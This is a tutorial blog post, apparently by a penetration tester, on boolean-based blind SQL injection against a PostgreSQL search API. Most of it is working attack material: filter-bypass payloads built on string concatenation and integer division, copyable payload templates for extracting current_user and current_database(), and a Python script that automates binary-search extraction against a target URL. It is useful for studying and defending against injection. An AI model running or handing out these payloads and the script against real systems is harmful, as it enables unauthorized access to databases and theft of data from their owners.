Hi guys, today I will teach you how to exploit Boolean-based Blind SQL Injection. This is a technique I recently used on a penetration test to extract database usernames without any direct output from the application.
This one is a bit tricky because you are essentially flying blind. The app does not show you query results, error messages, or anything useful. All you get is a subtle difference in the response: data or no data. But that tiny difference? That is all you need.
Let’s dive in.
What is Boolean-based Blind SQLi?
In a typical SQL injection, you might see query results directly on the page. Usernames, emails, password hashes dumped right onto your screen. Easy stuff.
But in blind injection, you get nothing. The application does not display query output. Instead, you have to infer information based on how the application behaves:
- Boolean-based: Different responses for true vs false conditions
- Time-based: Response delays when conditions are true
Today we are focusing on boolean-based, where the app gives us different content depending on whether our injected condition is true or false.
The Scenario
I was testing a search endpoint that returned JSON data. A normal request looked something like this:
GET /api/products?search=test
Response:
{
"status": "OK",
"message": "Success.",
"results": [
{"id": 1, "name": "Wireless Mouse", "price": 29.99, "category": "Electronics"},
{"id": 2, "name": "USB Keyboard", "price": 49.99, "category": "Electronics"}
]
}
When I threw a single quote at it:
GET /api/products?search='
I got:
{
"status": "INTERNAL_SERVER_ERROR",
"message": "Internal Server Error"
}
But with two quotes:
GET /api/products?search=''
Back to:
{
"status": "OK",
"message": "Success.",
"results": []
}
This is a classic injection indicator. The single quote breaks the SQL syntax, the double quote escapes properly.
Finding the Right Payload
Here is where it got interesting. I tried the usual payloads:
' OR '1'='1
' AND '1'='1
' UNION SELECT NULL--
All errors. Something was filtering my input.
After a lot of trial and error, I found that string concatenation worked:
'||(SELECT+1)||'
This returned actual data! The + signs replace spaces (URL encoding), and the || is PostgreSQL’s concatenation operator.
But here is the catch. I could not use FROM. Any payload with FROM got blocked:
'||(SELECT+1+FROM+pg_user)||' -- Blocked
So I was limited to functions that do not need a FROM clause, like current_user and current_database().
The Boolean Logic
Now here is the fun part. I discovered that the value I was injecting controlled how many results came back. Probably a LIMIT or something similar.
'||(SELECT+1)||' -- Returns data
'||(SELECT+0)||' -- Returns empty
'||(SELECT+10)||' -- Returns data (max was 10)
So if my injected value equals 1 or more, I get data. If it equals 0, I get nothing. This gives us a true/false oracle we can use to extract information.
The Extraction Technique
Since I could not use comparison operators like > or < directly, I had to get creative. PostgreSQL integer division gave me what I needed.
Here is how it works:
100 / 100 = 1 (returns data)
100 / 101 = 0 (returns empty)
100 / 50 = 2 (returns data)
When you divide a number by something smaller or equal, you get 1 or more. When you divide by something larger, you get 0 (integer division truncates the decimal).
So the payload becomes:
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'
Breaking this down:
SUBSTRING(current_user,1,1)gets the first character of the usernameASCII(...)converts it to its ASCII number/97divides by 97 (which is lowercase ‘a’)1*(...)multiplies the result so it becomes our injected value
If the first character’s ASCII value is 97 or higher, we get 1 (data returned). If it is lower than 97, we get 0 (empty response).
This is basically asking: “Is this character greater than or equal to ‘a’?”
Binary Search: Finding Characters Efficiently
Now I could have just tested every ASCII value from 32 to 126, but that would take forever. Instead, I used binary search to cut the range in half each time.
Let me walk you through extracting the first character of current_user.
Step 1: Is it lowercase? (>= 97)
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/97))||'
Result: Data returned. So the character is 97 or higher.
Step 2: Is it in the upper half of lowercase? (>= 110, which is ’n’)
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/110))||'
Result: Empty. So the character is between 97-109 (a through m).
Step 3: Is it >= 103 (‘g’)?
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/103))||'
Result: Empty. So it is between 97-102 (a through f).
Step 4: Is it >= 100 (’d’)?
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/100))||'
Result: Empty. So it is between 97-99 (a, b, or c).
Step 5: Is it >= 98 (‘b’)?
'||(SELECT+1*(ASCII(SUBSTRING(current_user,1,1))/98))||'
Result: Empty. So it is 97, which is ‘a’.
In just 5 requests, I found the first character. Brute forcing would have taken up to 26 requests for just lowercase letters.
Extracting the Full Username
I repeated this process for each character position:
Character 1: 97 = ‘a’
Character 2: 100 = ’d’
Character 3: 109 = ’m’
Character 4: 105 = ‘i’
Character 5: 110 = ’n’
Character 6: Tested with /1 and got empty, meaning no character exists
The database username was admin.
ASCII Reference
root@0xblivion:~# man ascii
ascii(7) Miscellaneous Information Manual ascii(7)
NAME
ascii - ASCII character set encoded in octal, decimal, and hexadecimal
DESCRIPTION
ASCII is the American Standard Code for Information Interchange. It is a 7-bit code. Many 8-bit codes (e.g., ISO/IEC 8859-1) con‐
tain ASCII as their lower half. The international counterpart of ASCII is known as ISO/IEC 646-IRV.
The following table contains the 128 ASCII characters.
C program '\X' escapes are noted.
Oct Dec Hex Char Oct Dec Hex Char
────────────────────────────────────────────────────────────────────────
000 0 00 NUL '\0' (null character) 100 64 40 @
001 1 01 SOH (start of heading) 101 65 41 A
002 2 02 STX (start of text) 102 66 42 B
003 3 03 ETX (end of text) 103 67 43 C
004 4 04 EOT (end of transmission) 104 68 44 D
005 5 05 ENQ (enquiry) 105 69 45 E
006 6 06 ACK (acknowledge) 106 70 46 F
007 7 07 BEL '\a' (bell) 107 71 47 G
010 8 08 BS '\b' (backspace) 110 72 48 H
011 9 09 HT '\t' (horizontal tab) 111 73 49 I
012 10 0A LF '\n' (new line) 112 74 4A J
013 11 0B VT '\v' (vertical tab) 113 75 4B K
014 12 0C FF '\f' (form feed) 114 76 4C L
015 13 0D CR '\r' (carriage ret) 115 77 4D M
016 14 0E SO (shift out) 116 78 4E N
017 15 0F SI (shift in) 117 79 4F O
020 16 10 DLE (data link escape) 120 80 50 P
021 17 11 DC1 (device control 1) 121 81 51 Q
022 18 12 DC2 (device control 2) 122 82 52 R
Manual page ascii(7) line 1 (press h for help or q to quit)
Detecting Character Type
Before binary searching, you need to know what range you are dealing with. Here is my approach:
Test 1: Is it lowercase?
/97 -> Data = lowercase or symbol above 97
/97 -> Empty = uppercase, number, or low symbol
Test 2: If not lowercase, is it uppercase?
/65 -> Data = uppercase (65-90) or higher
/65 -> Empty = number or symbol below 65
Test 3: If not uppercase, is it a number?
/48 -> Data = number (48-57)
/48 -> Empty = symbol below 48
Checking if a Character Exists
Before extracting each position, check if there is actually a character there:
'||(SELECT+1*(ASCII(SUBSTRING(current_user,6,1))/1))||'
Dividing by 1 means any character (ASCII 1 or higher) returns data. If you get empty, you have reached the end of the string.
Filter Bypasses I Used
During this engagement, I ran into several filters. Here is what was blocked and how I worked around it:
FROM keyword blocked
- Solution: Use functions that do not need FROM like
current_user,current_database(),version()
Spaces blocked
- Solution: Use
+for URL-encoded spaces
Dollar quoting blocked ($$)
- Solution: Avoided string literals, stuck to functions
CASE WHEN blocked
- Solution: Used multiplication and division for boolean logic instead
Payload Templates
Here are the payloads you can copy and modify:
Check if character exists at position N:
'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/1))||'
Extract character at position N (test against threshold):
'||(SELECT+1*(ASCII(SUBSTRING(current_user,N,1))/THRESHOLD))||'
For current_database():
'||(SELECT+1*(ASCII(SUBSTRING(current_database(),N,1))/THRESHOLD))||'
Automating the Process
Doing this manually works but gets tedious. Here is a simple Python script structure to automate it:
import requests
def check(position, threshold, target="current_user"):
payload = f"'||(SELECT+1*(ASCII(SUBSTRING({target},{position},1))/{threshold}))||'"
response = requests.get(f"{url}?search={payload}")
return len(response.json().get('results', [])) > 0
def extract_char(position):
# Check if character exists
if not check(position, 1):
return None
# Binary search
low, high = 32, 126
while low < high:
mid = (low + high + 1) // 2
if check(position, mid):
low = mid
else:
high = mid - 1
return chr(low)
def extract_string(target="current_user"):
result = ""
pos = 1
while True:
char = extract_char(pos)
if char is None:
break
result += char
print(f"[+] Position {pos}: {char} (Current: {result})")
pos += 1
return result
# Usage
url = "https://target.com/api/products"
username = extract_string("current_user")
print(f"[+] Extracted: {username}")
Key Takeaways
- Boolean-based blind SQLi relies on true/false responses, not direct output
- Integer division can replace comparison operators when they are filtered
- Binary search reduces requests from potentially 94 (printable ASCII) to about 7 per character
- Always check if a character exists before trying to extract it
- Built-in functions like
current_userdo not need FROM clauses
Conclusion
Boolean-based blind SQL injection takes patience and creativity, especially when dealing with filters. The key is finding what syntax the application accepts and building your boolean logic around it.
In this case, the division trick turned a seemingly unexploitable injection into full data extraction. The FROM keyword being blocked seemed like a dead end until I realized PostgreSQL functions could give me what I needed without it.
Hope this helps you on your next engagement. If you have questions - please don’t. I’m busy :D
Happy hacking!